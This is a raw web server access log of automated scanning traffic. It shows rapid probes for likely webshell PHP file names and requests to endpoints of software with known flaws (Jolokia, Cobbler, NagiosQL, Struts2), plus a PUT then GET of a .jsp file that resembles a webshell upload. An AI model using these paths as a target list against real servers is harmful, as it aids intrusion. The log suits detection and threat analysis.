20.219.138.200 - - [14/Apr/2026:22:17:28 -0700] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46556**
20.219.138.200 - - [14/Apr/2026:22:17:28 -0700] "GET /wp-admin/js/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 239 **0/239614**
20.219.138.200 - - [14/Apr/2026:22:17:29 -0700] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51 **0/51746**
103.59.161.71 - - [14/Apr/2026:22:48:06 -0700] "POST /integration/saveGangster.action HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20" 23 **0/23228**
4.193.168.228 - - [14/Apr/2026:23:35:34 -0700] "GET /admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 41 **0/41790**
4.193.168.228 - - [14/Apr/2026:23:35:34 -0700] "GET /inputs.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 275 **0/275644**
4.193.168.228 - - [14/Apr/2026:23:35:34 -0700] "GET /file.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 111 **0/111288**
4.193.168.228 - - [14/Apr/2026:23:35:35 -0700] "GET /goods.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 75 **0/75666**
4.193.168.228 - - [14/Apr/2026:23:35:35 -0700] "GET /ms-edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 292 **0/292913**
4.193.168.228 - - [14/Apr/2026:23:35:36 -0700] "GET /simple.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 89 **0/89716**
4.193.168.228 - - [14/Apr/2026:23:35:36 -0700] "GET /bgymj.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 382 **0/382217**
4.193.168.228 - - [14/Apr/2026:23:35:36 -0700] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 290 **0/290721**
4.193.168.228 - - [14/Apr/2026:23:35:37 -0700] "GET /wp-includes/interactivity-api/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 182 **0/182911**
4.193.168.228 - - [14/Apr/2026:23:35:37 -0700] "GET /404.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 77 **0/77653**
4.193.168.228 - - [14/Apr/2026:23:35:38 -0700] "GET /file3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 85 **0/85964**
4.193.168.228 - - [14/Apr/2026:23:35:38 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 176 **0/176205**
4.193.168.228 - - [14/Apr/2026:23:35:38 -0700] "GET /about.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 93 **0/93061**
4.193.168.228 - - [14/Apr/2026:23:35:39 -0700] "GET /wp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 277 **0/277468**
4.193.168.228 - - [14/Apr/2026:23:35:39 -0700] "GET /.dj/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 194 **0/194656**
4.193.168.228 - - [14/Apr/2026:23:35:40 -0700] "GET /adminfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 82 **0/82529**
4.193.168.228 - - [14/Apr/2026:23:35:40 -0700] "GET /php8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 98 **0/98868**
4.193.168.228 - - [14/Apr/2026:23:35:40 -0700] "GET /classwithtostring.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 169 **0/169951**
4.193.168.228 - - [14/Apr/2026:23:35:41 -0700] "GET /info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 277 **0/277248**
4.193.168.228 - - [14/Apr/2026:23:35:41 -0700] "GET /ioxi-o.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 82 **0/82603**
4.193.168.228 - - [14/Apr/2026:23:35:41 -0700] "GET /011i.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 178 **0/178293**
4.193.168.228 - - [14/Apr/2026:23:35:42 -0700] "GET /edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 158 **0/158978**
4.193.168.228 - - [14/Apr/2026:23:35:42 -0700] "GET /sid3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12985**
4.193.168.228 - - [14/Apr/2026:23:35:42 -0700] "GET /load.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21516**
4.193.168.228 - - [14/Apr/2026:23:35:43 -0700] "GET /166.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14000**
4.193.168.228 - - [14/Apr/2026:23:35:43 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28468**
4.193.168.228 - - [14/Apr/2026:23:35:43 -0700] "GET /leaf.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14002**
4.193.168.228 - - [14/Apr/2026:23:35:43 -0700] "GET /grsiuk.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19473**
4.193.168.228 - - [14/Apr/2026:23:35:44 -0700] "GET /8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14176**
4.193.168.228 - - [14/Apr/2026:23:35:44 -0700] "GET /fs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15948**
4.193.168.228 - - [14/Apr/2026:23:35:44 -0700] "GET /ws38.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12508**
4.193.168.228 - - [14/Apr/2026:23:35:44 -0700] "GET /a7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14883**
4.193.168.228 - - [14/Apr/2026:23:35:45 -0700] "GET /classsmtps.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25403**
4.193.168.228 - - [14/Apr/2026:23:35:45 -0700] "GET /amax.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17018**
4.193.168.228 - - [14/Apr/2026:23:35:45 -0700] "GET /CDX1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14427**
4.193.168.228 - - [14/Apr/2026:23:35:45 -0700] "GET /rip.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16433**
4.193.168.228 - - [14/Apr/2026:23:35:46 -0700] "GET /1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12475**
4.193.168.228 - - [14/Apr/2026:23:35:46 -0700] "GET /chosen.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14264**
4.193.168.228 - - [14/Apr/2026:23:35:46 -0700] "GET /css.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13235**
4.193.168.228 - - [14/Apr/2026:23:35:46 -0700] "GET /php.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13410**
4.193.168.228 - - [14/Apr/2026:23:35:46 -0700] "GET /wp-Blogs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15779**
4.193.168.228 - - [14/Apr/2026:23:35:47 -0700] "GET /wp-content/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 56 **0/56621**
4.193.168.228 - - [14/Apr/2026:23:35:47 -0700] "GET /wp-content/plugins/beteng88/ws83.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17228**
4.193.168.228 - - [14/Apr/2026:23:35:47 -0700] "GET /ws83.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 70 **0/70629**
4.193.168.228 - - [14/Apr/2026:23:35:47 -0700] "GET /file61.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17968**
4.193.168.228 - - [14/Apr/2026:23:35:48 -0700] "GET /sadcut1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 11 **0/11709**
4.193.168.228 - - [14/Apr/2026:23:35:48 -0700] "GET /y.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 12 **0/12895**
4.193.168.228 - - [14/Apr/2026:23:35:48 -0700] "GET /akcc.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23807**
4.193.168.228 - - [14/Apr/2026:23:35:48 -0700] "GET /wp-admin/user/12.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16991**
4.193.168.228 - - [14/Apr/2026:23:35:49 -0700] "GET /index/function.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19434**
4.193.168.228 - - [14/Apr/2026:23:35:49 -0700] "GET /term.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15839**
4.193.168.228 - - [14/Apr/2026:23:35:49 -0700] "GET /666.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 82 **0/82808**
4.193.168.228 - - [14/Apr/2026:23:35:49 -0700] "GET /7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 93 **0/93349**
4.193.168.228 - - [14/Apr/2026:23:35:50 -0700] "GET /wp-config-sample.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 64 **0/64638**
4.193.168.228 - - [14/Apr/2026:23:35:50 -0700] "GET /log.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13425**
4.193.168.228 - - [14/Apr/2026:23:35:50 -0700] "GET /a5.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13 **0/13030**
4.193.168.228 - - [14/Apr/2026:23:35:50 -0700] "GET /aa.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46470**
4.193.168.228 - - [14/Apr/2026:23:35:51 -0700] "GET /bolt.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19820**
4.193.168.228 - - [14/Apr/2026:23:35:51 -0700] "GET /x.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49 **0/49644**
4.193.168.228 - - [14/Apr/2026:23:35:51 -0700] "GET /jga.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 80 **0/80012**
4.193.168.228 - - [14/Apr/2026:23:35:51 -0700] "GET /k.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 90 **0/90497**
4.193.168.228 - - [14/Apr/2026:23:35:52 -0700] "GET /vx.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 87 **0/87051**
4.193.168.228 - - [14/Apr/2026:23:35:52 -0700] "GET /ws77.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 175 **0/175374**
4.193.168.228 - - [14/Apr/2026:23:35:53 -0700] "GET /2.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 153 **0/153617**
4.193.168.228 - - [14/Apr/2026:23:35:53 -0700] "GET /abcd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 88 **0/88545**
4.193.168.228 - - [14/Apr/2026:23:35:53 -0700] "GET /wp-content/plugins/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 63 **0/63606**
4.193.168.228 - - [14/Apr/2026:23:35:53 -0700] "GET /asd.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 92 **0/92634**
4.193.168.228 - - [14/Apr/2026:23:35:54 -0700] "GET /default.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 187 **0/187986**
4.193.168.228 - - [14/Apr/2026:23:35:54 -0700] "GET /gettest.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 384 **0/384134**
4.193.168.228 - - [14/Apr/2026:23:35:55 -0700] "GET /install.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 98 **0/98073**
4.193.168.228 - - [14/Apr/2026:23:35:55 -0700] "GET /tfm.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 54 **0/54101**
4.193.168.228 - - [14/Apr/2026:23:35:55 -0700] "GET /ws81.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 182 **0/182694**
4.193.168.228 - - [14/Apr/2026:23:35:56 -0700] "GET /222.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 203 **0/203972**
4.193.168.228 - - [14/Apr/2026:23:35:56 -0700] "GET /t.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 273 **0/273445**
4.193.168.228 - - [14/Apr/2026:23:35:57 -0700] "GET /wp-admin/maint/index.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 385 **0/385789**
4.193.168.228 - - [14/Apr/2026:23:35:57 -0700] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 63 **0/63846**
4.193.168.228 - - [14/Apr/2026:23:35:58 -0700] "GET /a.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 86 **0/86098**
4.193.168.228 - - [14/Apr/2026:23:35:58 -0700] "GET /a1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 181 **0/181871**
4.193.168.228 - - [14/Apr/2026:23:35:58 -0700] "GET /onclickfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 180 **0/180895**
4.193.168.228 - - [14/Apr/2026:23:35:59 -0700] "GET /w.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192 **0/192213**
4.193.168.228 - - [14/Apr/2026:23:35:59 -0700] "GET /wp-admin/maint/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192 **0/192411**
4.193.168.228 - - [14/Apr/2026:23:35:59 -0700] "GET /wp-content/plugins/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 90 **0/90759**
4.193.168.228 - - [14/Apr/2026:23:36:00 -0700] "GET /wp-good.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19043**
4.193.168.228 - - [14/Apr/2026:23:36:00 -0700] "GET /.info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15013**
4.193.168.228 - - [14/Apr/2026:23:36:00 -0700] "GET /config.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19670**
4.193.168.228 - - [14/Apr/2026:23:36:00 -0700] "GET /item.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15182**
4.193.168.228 - - [14/Apr/2026:23:36:01 -0700] "GET /m.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14 **0/14176**
4.193.168.228 - - [14/Apr/2026:23:36:01 -0700] "GET /rh.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16337**
103.59.161.71 - - [15/Apr/2026:00:11:34 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36" 6 **0/6047**
103.59.161.71 - - [15/Apr/2026:00:11:34 -0700] "POST /jolokia/read/getDiagnosticOptions HTTP/1.1" 403 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0" 223 **0/223473**
103.59.161.71 - - [15/Apr/2026:00:11:34 -0700] "POST /cobbler_api HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36" 526 **0/526743**
103.59.161.71 - - [15/Apr/2026:00:38:07 -0700] "POST /nagiosql/admin/logbook.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2" 192 **0/192152**
66.249.73.195 - - [15/Apr/2026:00:49:51 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 7 **0/7357**
103.59.161.71 - - [15/Apr/2026:00:50:02 -0700] "POST /struts2-rest-showcase/orders/3 HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0" 403 **0/403895**
103.59.161.71 - - [15/Apr/2026:00:50:03 -0700] "POST /orders/3 HTTP/1.1" 200 - "-" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 196 **0/196660**
66.249.73.193 - - [15/Apr/2026:01:02:03 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 9 **0/9147**
103.59.161.71 - - [15/Apr/2026:01:31:50 -0700] "PUT /3ByyJRG6qEn6efgKpctmrfgE5lI.jsp/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34 **0/34870**
103.59.161.71 - - [15/Apr/2026:01:31:51 -0700] "GET /3ByyJRG6qEn6efgKpctmrfgE5lI.jsp HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19" 18 **0/18873**
91.92.241.5 - - [15/Apr/2026:03:18:01 -0700] "GET /wp-login.php HTTP/1.1" 200 1 "https://wordpress.org/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0.1) Gecko/20100101 Firefox/120.0.1" 21 **0/21683**
91.92.241.5 - - [15/Apr/2026:03:18:02 -0700] "GET /wp-admin/ HTTP/1.1" 200 1 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 115 **0/115109**
15.204.0.80 - - [15/Apr/2026:03:26:27 -0700] "GET /blog-verify HTTP/2.0" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" 19 **0/19709**
207.180.220.239 - - [15/Apr/2026:03:28:26 -0700] "GET /wp-login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/118.0.2" 18 **0/18203**
207.180.220.239 - - [15/Apr/2026:03:28:27 -0700] "GET /wp-admin/ HTTP/1.1" 200 1 "https://www.google.de/search?q=wordpress" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 24 **0/24764**
